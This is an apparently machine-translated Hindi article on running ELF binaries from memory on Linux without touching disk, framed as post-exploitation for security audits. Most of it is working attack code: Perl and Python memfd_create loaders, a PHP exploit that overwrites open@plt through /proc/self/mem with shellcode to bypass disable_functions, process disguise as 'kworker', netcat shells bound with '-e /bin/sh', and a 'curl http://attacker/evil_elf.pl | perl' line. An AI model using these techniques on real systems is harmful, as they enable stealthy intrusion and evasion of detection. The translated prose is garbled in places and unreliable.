फ़ाइल-मुक्त मैलवेयर वितरण लोकप्रियता प्राप्त कर रहा है। जो आश्चर्य की बात नहीं है, क्योंकि ऐसे कार्यक्रमों का काम लगभग कोई निशान नहीं छोड़ता है। इस लेख में हम विंडोज की याद में प्रोग्राम चलाने की तकनीक को नहीं छूएंगे। हम GNU / Linux पर ध्यान केंद्रित करते हैं। लिनक्स सर्वर खंड पर सही ढंग से हावी है, लाखों एम्बेडेड उपकरणों पर रहता है और अधिकांश वेब संसाधन प्रदान करता है। अगला, हम मेमोरी में प्रोग्राम निष्पादन क्षमताओं की एक छोटी समीक्षा करेंगे और प्रदर्शित करेंगे कि यह कठिन परिस्थितियों में भी संभव है।

फ़ाइल-मुक्त निष्पादन तकनीक गुप्त है, उनके उपयोग का पता लगाना और उन्हें ट्रैक करना बेहद मुश्किल है। फ़ाइल सिस्टम अखंडता नियंत्रण उपकरण व्यवस्थापक को चेतावनी नहीं देंगे, क्योंकि डिस्क पर कोई लिखने का संचालन या डिस्क पर फ़ाइल परिवर्तन नहीं होता है। एंटीवायरस सॉफ़्टवेयर (अक्सर * निक्स उपयोगकर्ताओं द्वारा उपेक्षित) अक्सर स्टार्टअप के बाद प्रोग्राम मेमोरी की निगरानी नहीं करता है। इसके अलावा, कई जीएनयू / लिनक्स वितरणों में, स्थापना के तुरंत बाद, विभिन्न डिबगिंग उपयोगिताओं, दुभाषियों, प्रोग्रामिंग भाषाओं के संकलक और उनके लिए पुस्तकालयों की एक विस्तृत श्रृंखला उपलब्ध है। यह सब गुप्त, फ़ाइल-मुक्त कार्यक्रम निष्पादन की तकनीकों का उपयोग करने के लिए उत्कृष्ट स्थिति बनाता है। लेकिन उनके उपयोग के फायदे के अलावा, इसके नुकसान भी हैं - ये कार्यक्रम ब्लैकआउट या लक्ष्य मेजबान के रिबूट से नहीं बचते हैं। लेकिन जब होस्ट चल रहा होता है, तो प्रोग्राम काम करता है।

ऐसी तकनीकों का उपयोग और न केवल मैलवेयर के वितरण के लिए किया जाना चाहिए। यदि आपके प्रोग्राम निष्पादन की गति आपके लिए महत्वपूर्ण है, तो इसे रैम में अनलोड करें। वास्तव में, कई लिनक्स वितरण पूरी तरह से रैम में चलने पर बहुत अच्छा महसूस करते हैं, जो आपको उन पर किसी भी फाइल को सहेजे बिना हार्ड ड्राइव के साथ काम करने की अनुमति देता है। सूचना सुरक्षा ऑडिट के दृष्टिकोण से, लक्ष्य नेटवर्क की परिधि के भीतर पोस्ट-ऑपरेशन और खुफिया के एक चरण के रूप में कार्यक्रमों के गुप्त निष्पादन के तरीके बहुत उपयोगी हैं। खासकर अगर अधिकतम गोपनीयता ऑडिट शर्तों में से एक है।
2018 में barkly.com पोर्टल के अनुसार, स्मृति में चल रहे दुर्भावनापूर्ण सॉफ़्टवेयर में पहले से ही 35% वायरस के हमले होते हैं।

विंडोज के मामले में, साइबर क्रिमिनल्स कोड को डाउनलोड करने और तुरंत निष्पादित करने के लिए पहले से इंस्टॉल किए गए पॉवर्सशेल सिस्टम का सक्रिय रूप से उपयोग करते हैं। इन तकनीकों का व्यापक रूप से उपयोग किया जाता है, अन्य चीजों के अलावा, Powershell साम्राज्य, Powersploit और Metasploit फ्रेमवर्क जैसे चौखटे में उनके कार्यान्वयन के लिए धन्यवाद।

लिनक्स के बारे में क्या?

ज्यादातर मामलों में, मेजबानों पर स्थापित लिनक्स वितरण में सॉफ़्टवेयर का एक पूर्व-स्थापित सेट होता है। बॉक्स से बाहर, एक नियम के रूप में, प्रोग्रामिंग भाषाओं के दुभाषिए उपलब्ध हैं: पायथन, पर्ल, सी कंपाइलर। PHP परिशिष्ट में होस्टिंग साइटों पर मौजूद है। यह स्थिति इन भाषाओं का उपयोग करके कोड निष्पादित करने की क्षमता प्रदान करती है।

लिनक्स पर, मेमोरी में कोड को निष्पादित करने के लिए हमारे पास कई प्रसिद्ध विकल्प हैं।
सबसे आसान तरीका फ़ाइल सिस्टम पर पूर्व-साझा किए गए साझा मेमोरी क्षेत्र का उपयोग करना है।

निष्पादन योग्य फ़ाइल को / dev / shm या / run / shm निर्देशिका में रखकर, इसे सीधे मेमोरी में निष्पादित करना संभव है, यह देखते हुए कि ये निर्देशिकाएं फ़ाइल सिस्टम पर रैंडम एक्सेस मेमोरी से अधिक कुछ नहीं हैं। लेकिन उन्हें किसी अन्य डायरेक्टरी की तरह ही ls के साथ देखा जा सकता है। और एक नियम के रूप में, ये निर्देशिका नॉइज़ेक ध्वज के साथ घुड़सवार हैं, और इन निर्देशिकाओं में कार्यक्रमों का निष्पादन केवल सुपरयुसर के लिए उपलब्ध है। तो, थोड़ा और असंगत होने के लिए, आपको कुछ और चाहिए।

अधिक ध्यान देने योग्य है memfd_create (2) सिस्टम कॉल। यह सिस्टम कॉल लगभग मॉलॉक (3) की तरह काम करता है, लेकिन एक मैमोरी एरिया में पॉइंटर नहीं लौटाता है, लेकिन एक अनाम फाइल के लिए एक फाइल डिस्क्रिप्टर, जो केवल /proc/PID/fd/ में एक लिंक के रूप में फाइल सिस्टम में दिखाई देता है, जिसके द्वारा इसे निष्पादित किया जा सकता है निष्पादित (२)।
यहाँ मेफ्ड_क्रिएट सिस्टम कॉल (रूसी में) का उपयोग करने के लिए मैनुअल पेज क्या कहता है:

"नाम में निर्दिष्ट name का उपयोग फ़ाइल नाम के रूप में किया जाता है और इसे निर्देशिका में संबंधित प्रतीकात्मक लिंक के लक्ष्य के रूप में दिखाया जाएगा। /proc/self/fd/ । प्रदर्शन नाम हमेशा memfd: शुरू होता है memfd: और केवल डिबगिंग के लिए है। नाम फ़ाइल के व्यवहार को प्रभावित नहीं करते हैं। "विवरणक, और इसलिए कई फ़ाइलों का बिना किसी परिणाम के एक ही नाम हो सकता है।"

C भाषा के लिए memfd_create() का उपयोग करने का एक उदाहरण:

 #include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); } 

उपरोक्त कोड memfd का उपयोग करता है, एक बाल प्रक्रिया बनाता है, इसके आउटपुट को एक अस्थायी फ़ाइल में निर्देशित करता है, बच्चे की प्रक्रिया पूरी होने तक प्रतीक्षा करता है, और अस्थायी फ़ाइल से इसके आउटपुट को पढ़ता है। आमतौर पर, पाइप "|" का उपयोग एक प्रोग्राम के आउटपुट को दूसरे में इनपुट करने के लिए * nix में रीडायरेक्ट करने के लिए किया जाता है।

syscall() का उपयोग करने की क्षमता व्याख्या की गई भाषाओं जैसे पर्ल, पाइथन, आदि में भी उपलब्ध है। अगला, हम संभावित परिदृश्यों में से एक पर विचार करते हैं और निष्पादन योग्य फ़ाइलों को memfd_create() का उपयोग करके मेमोरी में लोड करने की क्षमता प्रदर्शित करते हैं।

पर्ल

मान लीजिए कि हमारे पास कमांड इंजेक्शन के रूप में एक प्रवेश बिंदु है।
हमें लक्ष्य प्रणाली पर सिस्टम कॉल करने के लिए एक रास्ता चाहिए।
पर्ल में, syscall () फ़ंक्शन हमें इससे मदद करेगा।
अनाम फ़ाइल की सामग्री के रूप में हमें अपनी ईएलएफ को सीधे मेमोरी में लिखने के तरीके की भी आवश्यकता होगी।
ऐसा करने के लिए, हम अपने ईएलएफ को सीधे स्क्रिप्ट के शरीर में रखेंगे, जो बदले में उपलब्ध कमांड इंजेक्शन के माध्यम से लक्ष्य प्रणाली में स्थानांतरित किया जाएगा। वैकल्पिक रूप से, आप नेटवर्क पर निष्पादन योग्य फ़ाइल भी डाउनलोड कर सकते हैं।
लेकिन इससे पहले यह आरक्षण करने लायक है। हमें लक्ष्य होस्ट पर लिनक्स कर्नेल संस्करण को जानने की आवश्यकता है, क्योंकि आवश्यक memfd_create() सिस्टम कॉल केवल संस्करण 3.17 और उच्चतर से उपलब्ध है।

चलो memfd_create() पर एक करीब से memfd_create() और execve()

हमारी अनाम फ़ाइल के लिए, हम निरंतर MFD_CLOEXEC उपयोग करेंगे, जो "एक नए खुले फ़ाइल विवरणक के लिए close-on-exec (FD_CLOEXEC) फ़्लैग close-on-exec (FD_CLOEXEC) सेट करता है।" इसका मतलब यह है कि हमारी फाइल डिस्क्रिप्टर स्वचालित रूप से बंद हो जाएगा जब हम अपने ईएलएफ को निष्पादित execve() का उपयोग करते हुए निष्पादित करते हैं

चूँकि हम पर्ल भाषा के syscall() फ़ंक्शन का उपयोग करेंगे, हमें अपने syscall और इसके पैरामीटर को कॉल करने के लिए संख्यात्मक मानों की आवश्यकता होगी।
आप उन्हें /usr/include कर सकते /usr/include या इंटरनेट पर /usr/include कर सकते हैं। सिस्टम कॉल नंबर #define में __NR_ शुरू किया जा सकता है
हमारे मामले में, memfd_create() 64-बिट OS के लिए 319 नंबर पर है। और निरंतर FD_CLOSEXEC 0x0001U (जो कि linux/memfd.h में 1 है)

अब हमारे पास सभी आवश्यक संख्यात्मक मूल्य हैं, और हम सी से पर्ल में memfd_create(name, MFD_CLOEXEC) का एक एनालॉग लिख सकते हैं।
हमें एक फ़ाइल नाम के साथ आने की आवश्यकता होगी जो /memfd: में प्रदर्शित किया जाएगा /memfd:
यह [:kworker] या किसी अन्य के समान नाम चुनने के लिए इष्टतम होगा, संदेह पैदा नहीं करेगा।
उदाहरण के लिए, हम नाम पैरामीटर के लिए एक रिक्त स्ट्रिंग पास करेंगे:

 my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; } 

अब हमारे पास $ fd में अनाम फाइल डिस्क्रिप्टर है और हमें इस फाइल में ELF लिखना होगा।
पर्ल में खुला () फ़ंक्शन आमतौर पर फ़ाइलों को खोलने के लिए उपयोग किया जाता है, लेकिन >&=FD निर्माण का उपयोग करते हुए, फ़ाइल नाम के बजाय इस फ़ंक्शन के लिए डिस्क्रिप्टर को पास करते हुए, हम पहले से खुले फ़ाइल डिस्क्रिप्टर को फ़ाइल हैंडल में बदल देते हैं।
autoflush[] भी autoflush[] लिए उपयोगी होगा:

 open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]); 

अब हमारे पास एक हैंडल है जो एक अनाम फ़ाइल को संदर्भित करता है।

अगला, हमें अपनी निष्पादन योग्य फ़ाइल को डेटा में बदलने की आवश्यकता है जिसे पर्ल स्क्रिप्ट के शरीर में रखा जा सकता है।
ऐसा करने के लिए, हम प्रदर्शन करते हैं:

 $ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary 

हमें कई, कई समान रेखाएँ मिलती हैं:

 print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/; 

उन्हें निष्पादित करने के बाद, हम अपनी निष्पादन योग्य फ़ाइल को मेमोरी में डाल देंगे। हमारे लिए जो कुछ भी है वह इसे लॉन्च करना है।

कांटा ()

वैकल्पिक रूप से हम कांटा () का उपयोग कर सकते हैं। यह बिल्कुल भी जरूरी नहीं है। लेकिन अगर हम केवल ईएलएफ को नहीं चलाना चाहते हैं और प्रक्रिया को मारना चाहते हैं, तो हमें fork() का उपयोग करना होगा।
सामान्य तौर पर, पर्ल में एक बाल प्रक्रिया का निर्माण कुछ इस तरह दिखता है:

 while ($keep_going) { my $pid = fork(); if (-1 == $pid) { # Error die "fork: $!"; } if (0 == $pid) { exit 0; } } 

fork() की उपयोगिता इस तथ्य में भी fork() है कि इसे सेटिड (2) के साथ कॉल करके, आप बच्चे की प्रक्रिया को मूल प्रक्रिया से अलग कर सकते हैं और माता-पिता को समाप्त कर सकते हैं:

 #    my $pid = fork(); if (-1 == $pid) { # Error die "fork1: $!"; } if (0 != $pid) { #   exit 0; } #     if (-1 == syscall(112)) { die "setsid: $!"; } #    () $pid = fork(); if (-1 == $pid) { # Error die "fork2: $!"; } if (0 != $pid) { #    exit 0; } #   "" 

अब हम कई प्रक्रियाओं में ईएलएफ चला सकते हैं।

निष्पादित करें ()

Execve () एक सिस्टम कॉल है जो हमें किसी प्रोग्राम को निष्पादित करने की अनुमति देता है। पर्ल हमें Exec () फ़ंक्शन के माध्यम से समान कार्यक्षमता प्रदान करता है, जो उपरोक्त सिस्टम कॉल की तरह ही काम करता है, लेकिन इसमें बहुत सरल और अधिक सुविधाजनक वाक्यविन्यास है।
हमें निष्पादित करने के लिए दो चीजों को पारित करने की आवश्यकता है exec() : वह फ़ाइल जिसे हम निष्पादित करना चाहते हैं (हमारी पहले से लोड की गई ईएलएफ मेमोरी), और प्रक्रिया का नाम पारित तर्कों में से एक है। आमतौर पर प्रक्रिया का नाम निष्पादन योग्य फ़ाइल के नाम से मेल खाता है। लेकिन जब से हम प्रक्रिया सूची में /proc/PID/fd/3 देखेंगे, हम अपनी प्रक्रिया को कुछ और कहेंगे।
exec() लिए वाक्यविन्यास exec() इस प्रकार है:

 exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!"; 

ऊपर का उदाहरण Netcat शुरू करता है। लेकिन हम पिछले दरवाजे की तरह कुछ कम लॉन्च करना चाहेंगे।
चल रही प्रक्रिया में /proc/PID/fd में अनाम फ़ाइल का लिंक नहीं होगा, लेकिन हम हमेशा लिंक /proc/PID/exe पर अपना ELF ढूँढ सकते हैं, जो चल रही प्रक्रिया की फ़ाइल को इंगित करता है।
इसलिए हमने डिस्क और यहां तक ​​कि फाइल सिस्टम को छूने के बिना, लिनक्स मेमोरी में ईएलएफ लॉन्च किया।
हमारी निष्पादन योग्य फ़ाइल को जल्दी और आसानी से लक्ष्य प्रणाली में डाउनलोड करना संभव है, उदाहरण के लिए, पर्ल इंटरप्रेटर को एक स्क्रिप्ट पास करके, जिसके शरीर में हमने ईएलएफ रखा और इसे एक बाहरी वेब होस्टिंग पर रखा: $ curl http://attacker/evil_elf.pl | perl $ curl http://attacker/evil_elf.pl | perl

अजगर

पर्ल विकल्प के समान, हमें निम्नलिखित करने की आवश्यकता है:

• memfd_create () सिस्टम कॉल का उपयोग करके, स्मृति में एक अनाम फ़ाइल बनाएं
• इस फ़ाइल में निष्पादन योग्य ELF लिखें
• इसे निष्पादित करें और कांटे के साथ वैकल्पिक रूप से इसे कई बार निष्पादित करें ()

 import ctypes import os #   .     - binary = open('/tmp/rev-shell','rb').read() fd = ctypes.CDLL(None).syscall(319,"",1) #  memfd_create     final_fd = open('/proc/self/fd/'+str(fd),'wb') #    . final_fd.write(binary) final_fd.close() fork1 = os.fork() #   if 0 != fork1: os._exit(0) ctypes.CDLL(None).syscall(112) #  setsid()     . fork2 = os.fork() #     . if 0 != fork2: os._exit(0) os.execl('/proc/self/fd/'+str(fd),'argv0','argv1') #    . 

अजगर के मामले में, syscall को कॉल करने के लिए हमें फ़ाइल को लिखने और निष्पादित करने और प्रक्रिया को नियंत्रित करने के लिए मानक मॉड्यूल ctypes और os की आवश्यकता होती है। सब कुछ पूरी तरह से पर्ल संस्करण के अनुरूप है।
उपरोक्त कोड में, हम पहले /tmp/ में स्थित एक फाइल को फाइल में लिखते हैं। हालाँकि, कुछ भी हमें वेब सर्वर से फ़ाइल डाउनलोड करने से रोकता है।

पीएचपी

इस स्तर पर, हम पहले से ही पर्ल और अजगर का उपयोग कर सकते हैं। कई ऑपरेटिंग सिस्टम पर डिफ़ॉल्ट रूप से इन भाषाओं के इंटरप्रिटर स्थापित किए जाते हैं। लेकिन सबसे दिलचस्प, हमेशा की तरह, आगे है।
यदि, किसी कारण से, पर्ल या अजगर व्याख्याकार हमारे लिए उपलब्ध नहीं हैं, तो PHP का उपयोग करना बहुत अच्छा होगा। यह भाषा वेब डेवलपर्स के बीच बहुत लोकप्रिय है। और अगर हम पहले से ही किसी वेब एप्लिकेशन में कोड निष्पादित करने की क्षमता पाते हैं, तो यह उच्च संभावना के साथ है कि PHP दुभाषिया हमसे मिलेंगे।

दुर्भाग्य से, php में syscall को कॉल करने के लिए कोई अंतर्निहित तंत्र नहीं है।
हम बीड’का से एक पोस्ट पर आरॉटेड फोरम (थैंक्स बीच्ड!) पर आए, जो मौजूदा प्रक्रिया की याद में procfs /proc/self/mem माध्यम से system को open फंक्शन की कॉल को ओवरराइट करता है और disable_unctions को बायपास करता है।
हमने अपने कोड में फ़ंक्शन को फिर से लिखने के लिए इस ट्रिक का उपयोग किया, जो आवश्यक सिस्टम कॉल का कारण बनेगा।
हम असेंबलर पर शेलकोड के रूप में php दुभाषिया के लिए syscall पास करेंगे।
सिस्टम कॉल को कमांड के एक अनुक्रम से गुजरना होगा।
आइए PHP स्क्रिप्ट लिखना शुरू करें। आगे बहुत जादू होगा।

सबसे पहले, हम आवश्यक मापदंडों को निरूपित करते हैं:

  $elf = file_get_contents("/bin/nc.traditional"); // elf_payload $args = "test -lvvp 31338 -e /bin/bash"; // argv0 argv1 argv2 ... 

बदलाव को अस्वीकार करें - स्मृति में ऊपरी और निचले मान, जहां हम बाद में अपना शेलकोड रखेंगे:

  function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); } 

अगला वह फ़ंक्शन है जिसके द्वारा बाइनरी फ़ाइल "अनपैक्ड" है। ऐसा करने के लिए, हम द्विआधारी डेटा को हेक्सडेक्स () फ़ंक्शन का उपयोग करके बाइनरीहैक्स () बाइनरी डेटा से रिवर्स ऑर्डर (स्टोरेज के लिए) में बदल देते हैं:

 function unp($value) { return hexdec(bin2hex(strrev($value))); } 

अगला, ELF फ़ाइल को ऑफ़सेट प्राप्त करने के लिए पार्स किया जाता है:

 function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) { // SHT_DYNSYM $dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB $strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8)); $strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); } elseif($rela && $sh_type == 4) { // SHT_RELA $relaplt_off = unp(substr($bin, $e_shoff + $i * $e_ + 24, 8)); $relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8)); $relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8)); } } if($rela) { for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) { $r_offset = unp(substr($bin, $i, 8)); $r_info = unp(substr($bin, $i + 8, 8)) >> 32; $name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == 'open') { return $r_offset; } } } else { for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) { $name_off = unp(substr($bin, $i, 4)); $name = ''; $j = $strtab_off + $name_off - 1; while($bin[++$j] != "\0") { $name .= $bin[$j]; } if($name == '__libc_system') { $system_offset = unp(substr($bin, $i + 8, 8)); } if($name == '__open') { $open_offset = unp(substr($bin, $i + 8, 8)); } } return array($system_offset, $open_offset); } 

इसके अतिरिक्त, हम PHP के स्थापित संस्करण के बारे में जानकारी प्रदर्शित करते हैं:

 if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n"; 

हम ऑपरेटिंग सिस्टम और लिनक्स कर्नेल संस्करण की थोड़ी गहराई की जाँच करते हैं:

 if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; } 

disable_functions के प्रतिबंध को दरकिनार करने के लिए, स्क्रिप्ट मक्खी पर open@plt फ़ंक्शन के पते को फिर से open@plt । हमने beched'a कोड में कुछ जोड़ दिए, और अब हम अपने शेलकोड को मेमोरी में रख सकते हैं।

सबसे पहले आपको PHP दुभाषिया की बाइनरी फाइल में खुद को शिफ्ट करने की जरूरत है, इसके लिए हम /proc/self/exe का parseelf() करते हैं और ऊपर बताए गए parseelf() फ़ंक्शन का उपयोग करके निष्पादन योग्य फ़ाइल को पार्स करते हैं:

 echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; } 

open() फ़ंक्शन का पता ढूंढें:

 echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb'); 

अब आप सीधे हमारी निष्पादन योग्य फ़ाइल डाउनलोड करने के लिए जा सकते हैं।
सबसे पहले, एक अनाम फ़ाइल बनाएं:

 $shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w'); 

हम एक अनाम फ़ाइल को लोड लिखते हैं:

 fwrite($fp, $elf); 

हम फाइल डिस्क्रिप्टर नंबर की तलाश कर रहे हैं:

 $found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; } 

अगला, हम स्टैक पर निष्पादन योग्य फ़ाइल का पथ लिखते हैं:

 fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack); 

और चलाने के तर्क निष्पादन योग्य को पारित किए गए:

 fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n"; 

अगला, fork() कॉल करके, हम अपने पेलोड को निष्पादित करते हैं:

 echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit(); 

shellcode

शेलकोड का अर्थ आमतौर पर बाइट्स का एक क्रम होता है जिसे मेमोरी में स्टोर किया जाता है और फिर निष्पादित किया जाता है, आमतौर पर एक अन्य प्रोग्राम के संदर्भ में, बफर अतिप्रवाह हमलों और अन्य का उपयोग करते हुए। हमारे मामले में, शेलकोड हमें रिमोट सर्वर (वास्तव में शेल) का कमांड प्रॉम्प्ट वापस नहीं करता है, लेकिन हमें उन कमांडों को निष्पादित करने की अनुमति देता है जिनकी आपको आवश्यकता है।

आवश्यक बाइट अनुक्रम प्राप्त करने के लिए, आप या तो सी कोड लिख सकते हैं, फिर इसे असेंबलर भाषा में अनुवाद कर सकते हैं, या स्क्रैच से असेंबली भाषा लिख ​​सकते हैं।

आइए देखें कि उपरोक्त लिस्टिंग से बाइट्स के अनुक्रम के पीछे क्या छिपा हुआ है।

 push 57 pop rax syscall test eax, eax jnz quit 

हमारे कार्यक्रम की शुरूआत सी fork शुरू होती है। 57 64-बिट सिस्टम के लिए सिस्टम कॉल पहचानकर्ता का संख्यात्मक मान है। तालिका यहां पाई जा सकती है ।

आगे, हम बच्चे की प्रक्रिया को अभिभावक में बदलने के लिए setsid (संख्यात्मक पहचानकर्ता 112) कहते हैं:

 push 112 pop rax syscall 

फिर एक और fork :

 push 57 pop rax syscall test eax, eax jnz quit 

तब परिचित निष्पादित निष्पादित करें execve() :

 ; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret 

और हम exit() साथ प्रक्रिया को समाप्त करते हैं exit() (60):

 ; exit quit: push 0 pop rdi push 60 pop rax syscall 

इस प्रकार, हमने चलते-फिरते खुले () फ़ंक्शन कोड को बदल दिया। हमारी निष्पादन योग्य फ़ाइल को मेमोरी में रखा गया था और PHP दुभाषिया के माध्यम से निष्पादित किया गया था। सिस्टम कॉल को शेलकोड के रूप में प्रस्तुत किया जाता है।

मेटास्प्लोइट फ्रेमवर्क

उपरोक्त तकनीकों के संकलन के रूप में, हमने MSF के लिए एक मॉड्यूल तैयार किया है।

इसे Metasploit में जोड़ने के लिए, बस मॉड्यूल फ़ाइल को डायरेक्टरी $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb reload_all $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb पर reload_all और फिर फ्रेमवर्क कंसोल में reload_all कमांड reload_all ।
हमारे मॉड्यूल का उपयोग करने के लिए, use post/linux/manage/download_exec_elf_in_memory (या एक अन्य पथ, जिसके आधार पर मॉड्यूल फ़ाइल को रखा गया था) के आधार पर दर्ज करें
इसका उपयोग करने से पहले, आपको आवश्यक विकल्प निर्धारित करना चाहिए। विकल्पों की सूची कमांड show options साथ प्रदर्शित की जाती है

ARGS - निष्पादन योग्य के लिए तर्क

FILE - निष्पादन योग्य फ़ाइल का पथ। हमारे मामले में, यह नेटकैट है।

NAME प्रक्रिया का नाम है। आप उसे कुछ भी कह सकते हैं। उदाहरण के लिए, चुपके के लिए, यह केवर्कर हो सकता है: 1 अच्छी तरह से, या कुछ हास्य प्रदर्शित करने के उद्देश्य से, उदाहरण के लिए किटकैट

SESSION - मीटरपरेटर सत्र। यह समझा जाता है कि इस मॉड्यूल का उपयोग ऑपरेशन के बाद के उद्देश्यों के लिए किया जाएगा।

अगला, हम होस्ट को नामित करते हैं, जिस पर हमारे लोड के साथ http-सर्वर क्रमशः SRVHOST और SRVPORT में स्थित होगा और इसका पोर्ट होगा।

VECTOR - वह विधि जिसके द्वारा मेमोरी में प्रोग्राम का निष्पादन प्राप्त किया जाएगा, पैरामीटर वैकल्पिक है, यदि यह खाली है तो स्क्रिप्ट स्वयं आवश्यक दुभाषियों की उपस्थिति का निर्धारण करेगी। PHP, पायथन या पर्ल वर्तमान में समर्थित हैं।

exploit या run कमांड exploit उपयोग करें

